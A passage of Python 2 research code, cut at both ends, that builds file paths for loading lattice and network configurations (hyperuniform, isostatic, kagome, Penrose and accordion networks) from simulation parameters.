lp['periodic_strip']:\\n periodicstr = '_periodicstrip'\\n else:\\n periodicstr = '_periodic'\\n else:\\n periodicstr = ''\\n\\n if lp['NP_load'] > 0:\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr + hustr + \\\\\\n originstr + '_NP' + '{0:06d}'.format(lp['NP_load']) + cutLstr + '_xy.txt'\\n else:\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr + hustr + '_' + \\\\\\n '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\\n print 'searching for ', ffind\\n elif LatticeTop in ['hucentroid', 'huvoronoi']:\\n # hyperuniform ID string\\n hustr = '_d' + huID\\n if lp['periodicBC']:\\n if lp['periodic_strip']:\\n periodicstr = '_periodicstrip'\\n stripnhnv = '_NH{0:06d}'.format(lp['NH']) + '_NV{0:06d}'.format(lp['NV'])\\n else:\\n periodicstr = '_periodic'\\n stripnhnv = ''\\n else:\\n periodicstr = ''\\n if lp['NP_load'] > 0:\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr + hustr + \\\\\\n originstr + stripnhnv + '_NP' + '{0:06d}'.format(lp['NP_load']) + cutLstr + '_xy.txt'\\n else:\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr + hustr + \\\\\\n originstr + '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\\n print 'searching for ', ffind\\n elif LatticeTop in ['kagome_hucent', 'kagome_huvor']:\\n # hyperuniform ID string\\n hustr = '_d' + huID\\n if lp['NP_load'] > 0:\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + '_periodic' + hustr \\\\\\n + '_NP{0:06d}'.format(lp['NP_load']) + cutLstr + '_xy.txt'\\n else:\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + hustr + \\\\\\n '_{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\\n print 'searching for ', ffind\\n # elif 'isostatic' in LatticeTop :\\n # # hyperuniform ID string --> isostatic ID string\\n # hustr = '_homog_zindex001'+'_conf'+huID\\n # ffind = rootdir+'networks/'+LatticeTop+'/'+LatticeTop+'_'+shape+hustr+'_'+'{0:06d}'.format(NH)+'_x_'+\\n # '{0:06d}'.format(NV)+cutLstr+'_xy.txt'\\n # print 'searching for ', ffind\\n elif LatticeTop in ['iscentroid', 'isvoronoi']:\\n # isostatic ID string\\n if lp['NP_load'] > 0:\\n hustr = '_hexner_size' + str(lp['NP_load']) + '_conf' + huID\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + '_periodic' + hustr + \\\\\\n '_NP' + '{0:06d}'.format(lp['NP_load']) + cutLstr + '_xy.txt'\\n else:\\n if lp['source'] == 'ulrich':\\n hustr = '_homog_zindex001' + '_conf' + huID\\n elif lp['source'] == 'hexner':\\n if NH > 10 or NV > 10:\\n hustr = '_hexner_size8192_conf' + huID\\n else:\\n hustr = '_hexner_size0512_conf' + huID\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + hustr + '_' + '{0:06d}'.format(\\n NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\\n print 'searching for ', ffind\\n elif LatticeTop in ['kagome_isocent', 'kagome_isovor']:\\n # isostatic ID string\\n if lp['source'] == 'ulrich':\\n hustr = '_ulrich_homog_zindex001' + '_conf' + huID\\n elif lp['source'] == 'hexner':\\n if lp['periodicBC'] and lp['NP_load'] > 0:\\n hustr = '_hexner_size' + str(lp['NP_load']) + '_conf' + huID\\n elif NH > 13 or NV > 13:\\n hustr = '_hexner_size8192_conf' + huID\\n else:\\n hustr = '_hexner_size0512_conf' + huID\\n if lp['periodicBC'] and lp['NP_load'] > 0:\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + '_periodic' + hustr + \\\\\\n '_NP' + '{0:06d}'.format(lp['NP_load']) + cutLstr + '_xy.txt'\\n else:\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + hustr + \\\\\\n '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\\n print 'searching for ', ffind\\n elif LatticeTop in ['iscentroid_annulus', 'kagome_iscent_annulus']:\\n # hyperuniform ID string\\n lp['shape'] = 'annulus'\\n shape = lp['shape']\\n hustr = '_d' + huID\\n if lp['periodicBC'] or lp['periodic_strip']:\\n raise RuntimeError('Network is labeled as periodic but is also an annulus.')\\n\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + hustr + \\\\\\n '_alph' + sf.float2pstr(lp['alph']) + \\\\\\n originstr + '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\\n print 'searching for ', ffind\\n elif LatticeTop in ['hucentroid_annulus', 'kagome_hucent_annulus']:\\n # hyperuniform ID string\\n lp['shape'] = 'annulus'\\n shape = lp['shape']\\n hustr = '_d' + huID\\n if lp['periodicBC'] or lp['periodic_strip']:\\n raise RuntimeError('Network is labeled as periodic but is also an annulus.')\\n\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + hustr + \\\\\\n '_alph' + sf.float2pstr(lp['alph']) + \\\\\\n originstr + '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\\n print 'searching for ', ffind\\n elif LatticeTop == 'linear':\\n etastr = '{0:.3f}'.format(lp['eta']).replace('.', 'p')\\n thetastr = '{0:.3f}'.format(lp['theta']).replace('.', 'p')\\n if lp['periodicBC']:\\n periodicstr = '_periodic'\\n else:\\n periodicstr = ''\\n exten = periodicstr + '_line_theta' + thetastr + 'pi_eta' + etastr\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + exten + '_{0:06d}'.format(NH) + \\\\\\n '_x_' + '{0:06d}'.format(1) + cutLstr + '_xy.txt'\\n print 'searching for ', ffind\\n elif LatticeTop == 'circlebonds':\\n # circle of particles connected in a periodic line\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_{0:06d}'.format(NH) + \\\\\\n '_x_' + '{0:06d}'.format(1) + cutLstr + '_xy.txt'\\n print 'searching for ', ffind\\n elif LatticeTop == 'dislocated':\\n Ndefects = str(lp['Ndefects'])\\n Bvec = lp['Bvec']\\n dislocxy = lp['dislocxy'] # specifies the position of a single defect, if not centered, as tuple of strings\\n if dislocxy == 'none':\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + '_Ndefects' + Ndefects + \\\\\\n '_Bvec' + Bvec + '_{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\\n else:\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + '_Ndefects' + Ndefects + \\\\\\n '_Bvec' + Bvec + '_dislocxy_' + str(dislocxy[0]) + '_' + str(dislocxy[1]) + '_{0:06d}'.format(NH) + \\\\\\n '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\\n print 'searching for ', ffind\\n elif LatticeTop == 'dislocatedTriangular':\\n Ndefects = str(lp['Ndefects'])\\n Bvec = lp['Bvec']\\n try:\\n dislocxy = lp['dislocxy'] # specifies the position of a single defect, if not centered, as tuple of strings\\n except:\\n dislocxy = 'none'\\n\\n if dislocxy == 'none':\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + '_Ndefects' + Ndefects + \\\\\\n '_Bvec' + Bvec + '_{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\\n else:\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + '_Ndefects' + Ndefects + \\\\\\n '_Bvec' + Bvec + '_dislocxy_' + str(dislocxy[0]) + '_' + str(dislocxy[1]) + '_{0:06d}'.format(NH) + \\\\\\n '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\\n print 'searching for ', ffind\\n elif LatticeTop == 'dislocatedRand':\\n Ndefects = str(lp['Ndefects'])\\n Bvec = lp['Bvec']\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + '_Ndefects' + Ndefects + \\\\\\n '_Bvec' + Bvec + '_{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\\n print 'searching for ', ffind\\n elif LatticeTop == 'triangularz':\\n zmethodstr = lp['cutz_method']\\n zstr = str(lp['z'])\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + '_zmethod' + zmethodstr + \\\\\\n '_z' + zstr + '_{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\\n print 'searching for ', ffind\\n elif LatticeTop == 'penroserhombTri':\\n if lp['periodicBC']:\\n if lp['periodic_strip']:\\n periodicstr = '_periodicstrip'\\n else:\\n periodicstr = '_periodic'\\n else:\\n perstr = ''\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + perstr + '_' + shape + \\\\\\n '_div*_{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\\n print 'searching for ', ffind\\n elif LatticeTop == 'penroserhombTricent':\\n if lp['periodicBC']:\\n if lp['periodic_strip']:\\n periodicstr = '_periodicstrip'\\n else:\\n periodicstr = '_periodic'\\n else:\\n perstr = ''\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + perstr + '_' + shape + \\\\\\n '_div*_{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\\n print 'searching for ', ffind\\n elif LatticeTop == 'kagome_penroserhombTricent':\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + '_div*_{0:06d}'.format(\\n NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\\n print 'searching for ', ffind\\n elif 'random_organization_gamma' in LatticeTop:\\n hustr = '_d' + huID\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + hustr + '_' + \\\\\\n '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\\n print 'searching for ', ffind\\n elif LatticeTop == 'kagper_hucent':\\n print '\\\\n\\\\n sub-realization number (for given hu realization, which decoration?): lp[subconf] = ', lp[\\n 'subconf'], '\\\\n'\\n # hyperuniform ID string\\n hustr = '_d' + huID\\n perdstr = '_perd' + '{0:0.2f}'.format(lp['percolation_density']).replace('.', 'p')\\n if lp['periodicBC']:\\n if lp['periodic_strip']:\\n periodicstr = '_periodicstrip'\\n else:\\n periodicstr = '_periodic'\\n else:\\n periodicstr = ''\\n if lp['NP_load'] > 0:\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr + hustr + \\\\\\n originstr + perdstr + \\\\\\n '_r' + '{0:02d}'.format(int(lp['subconf'])) + \\\\\\n '_NP' + '{0:06d}'.format(lp['NP_load']) + cutLstr + '_xy.txt'\\n else:\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr + hustr + \\\\\\n originstr + perdstr + \\\\\\n '_r' + '{0:02d}'.format(int(lp['subconf'])) + \\\\\\n '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\\n print 'searching for ', ffind\\n elif LatticeTop in ['hucent_kagframe', 'kaghu_centframe', 'hucent_kagcframe']:\\n # hyperuniform ID string\\n hustr = '_d' + huID\\n alphstr = '_alph' + '{0:0.2f}'.format(lp['alph']).replace('.', 'p')\\n if lp['periodicBC']:\\n if lp['periodic_strip']:\\n periodicstr = '_periodicstrip'\\n else:\\n periodicstr = '_periodic'\\n else:\\n periodicstr = ''\\n if lp['NP_load'] > 0:\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr + hustr + \\\\\\n originstr + alphstr + '_NP' + '{0:06d}'.format(lp['NP_load']) + cutLstr + '_xy.txt'\\n else:\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr + hustr + \\\\\\n originstr + alphstr + '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(\\n NV) + cutLstr + '_xy.txt'\\n print 'searching for ', ffind\\n elif LatticeTop in ['isocent_kagframe', 'isocent_kagcframe']:\\n # isostatic ID string\\n if lp['source'] == 'ulrich':\\n hustr = '_ulrich_homog_zindex001' + '_conf' + huID\\n elif lp['source'] == 'hexner':\\n if lp['periodicBC'] and lp['NP_load'] > 0:\\n hustr = '_hexner_size' + str(lp['NP_load']) + '_conf' + huID\\n elif NH > 80 or NV > 80:\\n hustr = '_hexner_size128000_conf' + huID\\n elif NH > 15 or NV > 15:\\n hustr = '_hexner_size8192_conf' + huID\\n else:\\n hustr = '_hexner_size0512_conf' + huID\\n perdstr = '_alph' + '{0:0.2f}'.format(lp['alph']).replace('.', 'p')\\n if lp['periodicBC']:\\n if lp['periodic_strip']:\\n periodicstr = '_periodicstrip'\\n else:\\n periodicstr = '_periodic'\\n else:\\n periodicstr = ''\\n if lp['NP_load'] > 0:\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr + hustr + \\\\\\n originstr + perdstr + '_NP' + '{0:06d}'.format(lp['NP_load']) + cutLstr + '_xy.txt'\\n else:\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr + hustr + \\\\\\n originstr + perdstr + '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(\\n NV) + cutLstr + '_xy.txt'\\n print 'searching for ', ffind\\n elif LatticeTop == 'hex_kagframe' or LatticeTop == 'hex_kagcframe':\\n alphstr = '_alph' + '{0:0.2f}'.format(lp['alph']).replace('.', 'p')\\n if lp['periodicBC']:\\n if lp['periodic_strip']:\\n periodicstr = '_periodicstrip'\\n else:\\n periodicstr = '_periodic'\\n else:\\n periodicstr = ''\\n\\n if eta == 0. or eta == '':\\n etastr = ''\\n else:\\n etastr = '_eta{0:.3f}'.format(eta).replace('.', 'p')\\n if 'eta_alph' not in lp:\\n print 'did not find eta_alph in lp, using alph value as eta_alph...'\\n lp['eta_alph'] = lp['alph']\\n\\n etastr += '_etaalph' + sf.float2pstr(lp['eta_alph'], ndigits=3)\\n\\n if theta_lattice == 0. or theta_lattice == '':\\n thetastr = ''\\n else:\\n thetastr = '_theta{0:.3f}'.format(theta_lattice).replace('.', 'p') + 'pi'\\n\\n delta_phi_str = '_delta' + delta_lattice.replace('.', 'p') + '_phi' + \\\\\\n phi_lattice.replace('.', 'p') + thetastr\\n\\n if lp['NP_load'] > 0:\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr + delta_phi_str + \\\\\\n originstr + alphstr + etastr + '_NP' + '{0:06d}'.format(lp['NP_load']) + cutLstr + '_xy.txt'\\n else:\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr + delta_phi_str + \\\\\\n originstr + alphstr + etastr + '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + \\\\\\n cutLstr + '_xy.txt'\\n print 'searching for ', ffind\\n elif LatticeTop == 'kagsplit_hex':\\n alphstr = '_alph' + '{0:0.2f}'.format(lp['alph']).replace('.', 'p')\\n if lp['periodicBC']:\\n if lp['periodic_strip']:\\n periodicstr = '_periodicstrip'\\n else:\\n periodicstr = '_periodicBC'\\n else:\\n periodicstr = ''\\n\\n if eta == 0. or eta == '':\\n etastr = ''\\n else:\\n etastr = '_eta{0:.3f}'.format(eta)\\n if theta_lattice == 0. or theta_lattice == '':\\n thetastr = ''\\n else:\\n thetastr = '_theta{0:.3f}'.format(theta_lattice).replace('.', 'p') + 'pi'\\n\\n delta_phi_str = '_delta' + delta_lattice.replace('.', 'p') + '_phi' + phi_lattice + etastr + thetastr\\n print '\\\\n\\\\n', delta_phi_str\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr + delta_phi_str + \\\\\\n alphstr + '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\\n print 'searching for ', ffind\\n elif LatticeTop in ['kagper_hex', 'kagpergrid_hex']:\\n perdstr = '_perd' + '{0:0.2f}'.format(lp['percolation_density']).replace('.', 'p')\\n if LatticeTop == 'kagpergrid_hex':\\n perdstr += '_alph' + '{0:0.2f}'.format(lp['alph']).replace('.', 'p')\\n\\n if lp['periodicBC']:\\n if lp['periodic_strip']:\\n periodicstr = '_periodicstrip'\\n else:\\n periodicstr = '_periodicBC'\\n else:\\n periodicstr = ''\\n\\n if eta == 0. or eta == '':\\n etastr = ''\\n else:\\n etastr = '_eta{0:.3f}'.format(eta)\\n\\n if theta_lattice == 0. or theta_lattice == '':\\n thetastr = ''\\n else:\\n thetastr = '_theta{0:.3f}'.format(theta_lattice).replace('.', 'p') + 'pi'\\n\\n delta_phi_str = '_delta' + delta_lattice.replace('.', 'p') + '_phi' + phi_lattice + etastr + thetastr\\n # get string for configuration number\\n if 'conf' in lp:\\n confstr = '_conf{0:04d}'.format(lp['conf'])\\n else:\\n confstr = ''\\n\\n if lp['NP_load'] > 0:\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr + \\\\\\n delta_phi_str + perdstr + confstr + \\\\\\n '_NP' + '{0:06d}'.format(lp['NP_load']) + cutLstr + '_xy.txt'\\n else:\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr + \\\\\\n delta_phi_str + perdstr + confstr + \\\\\\n '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\\n print 'searching for ', ffind\\n elif LatticeTop in ['randomcent', 'kagome_randomcent']:\\n if lp['periodicBC']:\\n if lp['periodic_strip']:\\n perstr = '_periodicstrip'\\n else:\\n perstr = '_periodic'\\n else:\\n perstr = ''\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + perstr + '_r' + \\\\\\n '{0:02d}'.format(int(lp['conf'])) + \\\\\\n '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\\n print 'searching for ', ffind\\n elif LatticeTop in ['randomspreadcent', 'kagome_randomspreadcent']:\\n if lp['periodicBC']:\\n if lp['periodic_strip']:\\n periodicstr = '_periodicstrip'\\n else:\\n periodicstr = '_periodic'\\n else:\\n perstr = ''\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + perstr + '_r' + \\\\\\n '{0:02d}'.format(int(lp['conf'])) + \\\\\\n '_spreadt{0:0.3f}'.format(lp['spreading_time']).replace('.', 'p') + \\\\\\n '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\\n print 'searching for ', ffind\\n elif LatticeTop in ['uofc_hucent', 'uofc_kaglow_hucent', 'uofc_kaghi_hucent',\\n 'kaghi_hucent_curvys', 'kaglow_hucent_curvys']:\\n hustr = '_d' + huID\\n if 'thres' not in lp:\\n lp['thres'] = 1.0\\n\\n if 'curvys' in LatticeTop:\\n aratiostr = '_aratio{0:0.3f}'.format(lp['aratio']).replace('.', 'p')\\n else:\\n aratiostr = ''\\n\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + hustr + \\\\\\n '_thres' + sf.float2pstr(lp['thres'], ndigits=1) + aratiostr + \\\\\\n '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\\n print 'searching for ', ffind\\n elif LatticeTop in ['uofc_isocent', 'uofc_kaglow_isocent', 'uofc_kaghi_isocent', 'chicago_kaglow_isocent',\\n 'chicago_kaghi_isocent', 'kaghi_isocent_chern', 'kaghi_hucent_chern',\\n 'csmf_kaghi_isocent', 'kaghi_isocent_thanks',\\n 'kaghi_isocent_curvys', 'kaglow_isocent_curvys']:\\n if lp['source'] == 'ulrich':\\n hustr = '_ulrich_homog_zindex001' + '_conf' + huID\\n elif lp['source'] == 'hexner':\\n if lp['periodicBC'] and lp['NP_load'] > 0:\\n hustr = '_hexner_size' + str(lp['NP_load']) + '_conf' + huID\\n elif NH > 80.5 or NV > 80.5:\\n hustr = '_hexner_size128000_conf' + huID\\n elif NH > 9 or NV > 9:\\n hustr = '_hexner_size8192_conf' + huID\\n else:\\n hustr = '_hexner_size0512_conf' + huID\\n\\n if 'curvys' in LatticeTop:\\n aratiostr = '_aratio{0:0.3f}'.format(lp['aratio']).replace('.', 'p')\\n else:\\n aratiostr = ''\\n\\n if lp['periodicBC']:\\n if lp['periodic_strip']:\\n periodicstr = '_periodicstrip'\\n else:\\n periodicstr = '_periodic'\\n else:\\n periodicstr = ''\\n if 'thres' not in lp:\\n lp['thres'] = 1.0\\n\\n if lp['NP_load'] > 0:\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr + hustr + \\\\\\n originstr + \\\\\\n '_thres' + sf.float2pstr(lp['thres'], ndigits=1) + aratiostr + \\\\\\n '_NP' + '{0:06d}'.format(lp['NP_load']) + cutLstr + '_xy.txt'\\n else:\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr + hustr + \\\\\\n originstr + \\\\\\n '_thres' + sf.float2pstr(lp['thres'], ndigits=1) + aratiostr + \\\\\\n '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\\n print 'searching for ', ffind\\n elif 'kaghi_randorg_gammakick' in LatticeTop and 'cent_curvys' in LatticeTop:\\n # kaghi_randorg_gammakick1p60_cent_curvys\\n # For cover optios in Nature Physics paper\\n aratiostr = '_aratio{0:0.3f}'.format(lp['aratio']).replace('.', 'p')\\n kickszstr = '_kicksz' + sf.float2pstr(lp['kicksz'], ndigits=3)\\n spreadtstr = '_spreadt' + sf.float2pstr(lp['spreading_time'], ndigits=3)\\n dtstr = '_dt' + sf.float2pstr(lp['spreading_dt'], ndigits=3)\\n # for ensuring that no points are too close\\n # alphstr =\\n if lp['periodic_strip']:\\n lp['NP_load'] = lp['NH'] * lp['NV']\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + \\\\\\n lp['LatticeTop'] + '_' + lp['shape'] + '_periodicstrip' + kickszstr + spreadtstr + dtstr + \\\\\\n '_d' + '{0:02d}'.format(int(lp['conf'])) + \\\\\\n aratiostr + '_NP{0:06d}'.format(lp['NP_load']) + \\\\\\n '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + '_xy.txt'\\n elif lp['periodicBC']:\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + \\\\\\n lp['LatticeTop'] + '_' + lp['shape'] + '_periodic' + kickszstr + spreadtstr + dtstr + \\\\\\n '_d' + '{0:02d}'.format(int(lp['conf'])) + aratiostr + \\\\\\n '_NP{0:06d}'.format(lp['NP_load']) + '_xy.txt'\\n else:\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + \\\\\\n lp['LatticeTop'] + '_' + lp['shape'] + kickszstr + spreadtstr + dtstr + \\\\\\n '_d' + '{0:02d}'.format(int(lp['conf'])) + \\\\\\n aratiostr + '_NP{0:06d}'.format(lp['NP_load']) + \\\\\\n '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\\n\\n print 'searching for ', ffind\\n elif LatticeTop == 'kagome':\\n if eta == 0. or eta == '':\\n etastr = ''\\n else:\\n etastr = '_eta{0:.3f}'.format(eta).replace('.', 'p')\\n\\n if theta_lattice == 0. or theta_lattice == '':\\n thetastr = ''\\n else:\\n thetastr = '_theta{0:.3f}'.format(theta_lattice).replace('.', 'p') + 'pi'\\n\\n delta_phi_str = '_delta' + delta_lattice.replace('.', 'p') + '_phi' + phi_lattice + etastr + thetastr\\n\\n if lp['periodicBC']:\\n if lp['periodic_strip']:\\n periodicstr = '_periodicstrip'\\n else:\\n periodicstr = '_periodic'\\n else:\\n periodicstr = ''\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr + \\\\\\n delta_phi_str + '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\\n print 'searching for ', ffind\\n elif 'randorg_gammakick' in LatticeTop:\\n kickszstr = '_kicksz' + sf.float2pstr(lp['kicksz'], ndigits=3)\\n spreadtstr = '_spreadt' + sf.float2pstr(lp['spreading_time'], ndigits=3)\\n if lp['periodic_strip']:\\n lp['NP_load'] = lp['NH'] * lp['NV']\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + \\\\\\n lp['LatticeTop'] + '_' + lp['shape'] + '_periodicstrip' + kickszstr + spreadtstr + \\\\\\n '_d' + '{0:02d}'.format(int(lp['conf'])) + '_NP{0:06d}'.format(lp['NP_load']) + \\\\\\n '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + '_xy.txt'\\n elif lp['periodicBC']:\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + \\\\\\n lp['LatticeTop'] + '_' + lp['shape'] + '_periodic' + kickszstr + spreadtstr + \\\\\\n '_d' + '{0:02d}'.format(int(lp['conf'])) + '_NP{0:06d}'.format(lp['NP_load']) + '_xy.txt'\\n else:\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + \\\\\\n lp['LatticeTop'] + '_' + lp['shape'] + kickszstr + spreadtstr + \\\\\\n '_d' + '{0:02d}'.format(int(lp['conf'])) + '_NP{0:06d}'.format(lp['NP_load']) + \\\\\\n '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\\n\\n print 'searching for ', ffind\\n elif 'randorg_gamma' in LatticeTop:\\n # NOTE THAT WE USE RANDORG_GAMMAKICK NOW\\n raise RuntimeError('We use randorg_gammakick now instead of randorg_gamma.')\\n spreadtstr = 'spreadt' + sf.float2pstr(lp['spreading_time'], ndigits=3)\\n if lp['NP_load'] > 0:\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + \\\\\\n lp['LatticeTop'] + '_' + lp['shape'] + '_periodic_' + spreadtstr + \\\\\\n '_d' + '{0:02d}'.format(int(lp['conf'])) + '_NP{0:06d}'.format(lp['NP_load']) + '_xy.txt'\\n else:\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + \\\\\\n lp['LatticeTop'] + '_' + lp['shape'] + '_' + spreadtstr + \\\\\\n '_d' + '{0:02d}'.format(int(lp['conf'])) + \\\\\\n '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\\n print 'searching for ', ffind\\n elif 'accordion' in LatticeTop:\\n if 'hucent' in LatticeTop:\\n # hyperuniform ID string\\n hustr = '_d' + huID\\n alphstr = '_alph' + sf.float2pstr(lp['alph']) + '_nzag{0:02d}'.format(lp['intparam'])\\n if lp['NP_load'] > 0:\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + '_periodic' + hustr \\\\\\n + alphstr + '_NP{0:06d}'.format(lp['NP_load']) + cutLstr + '_xy.txt'\\n else:\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + hustr \\\\\\n + alphstr + '_{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\\n elif 'isocent' in LatticeTop:\\n # accordionkag_isocent or accordionhex_isocent\\n alphstr = 'alph' + sf.float2pstr(lp['alph']) + '_nzag{0:02d}'.format(lp['intparam']) + '_'\\n # isostatic ID string\\n if lp['NP_load'] > 0:\\n hustr = '_hexner_size' + str(lp['NP_load']) + '_conf' + huID\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + '_periodic' + hustr + \\\\\\n alphstr + '_NP' + '{0:06d}'.format(lp['NP_load']) + cutLstr + '_xy.txt'\\n else:\\n if lp['source'] == 'ulrich':\\n hustr = '_homog_zindex001' + '_conf' + huID\\n elif lp['source'] == 'hexner':\\n if NH > 10 or NV > 10:\\n hustr = '_hexner_size8192_conf' + huID\\n else:\\n hustr = '_hexner_size0512_conf' + huID\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + hustr + '_' + \\\\\\n alphstr + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\\n elif LatticeTop in ['accordionhex', 'accordionkag']:\\n if lp['periodicBC']:\\n if lp['periodic_strip']:\\n periodicstr = '_periodicstrip'\\n else:\\n periodicstr = '_periodicBC'\\n else:\\n periodicstr = ''\\n\\n if eta == 0. or eta == '':\\n etastr = ''\\n else:\\n etastr = '_eta{0:.3f}'.format(eta).replace('.', 'p')\\n\\n if theta_lattice == 0. or theta_lattice == '':\\n thetastr = ''\\n else:\\n thetastr = '_theta{0:.3f}'.format(theta_lattice).replace('.', 'p') + 'pi'\\n\\n alphstr = '_alph' + sf.float2pstr(lp['alph']) + '_nzag{0:02d}'.format(lp['intparam'])\\n\\n if 'eta_alph' in lp:\\n if lp['eta_alph'] > 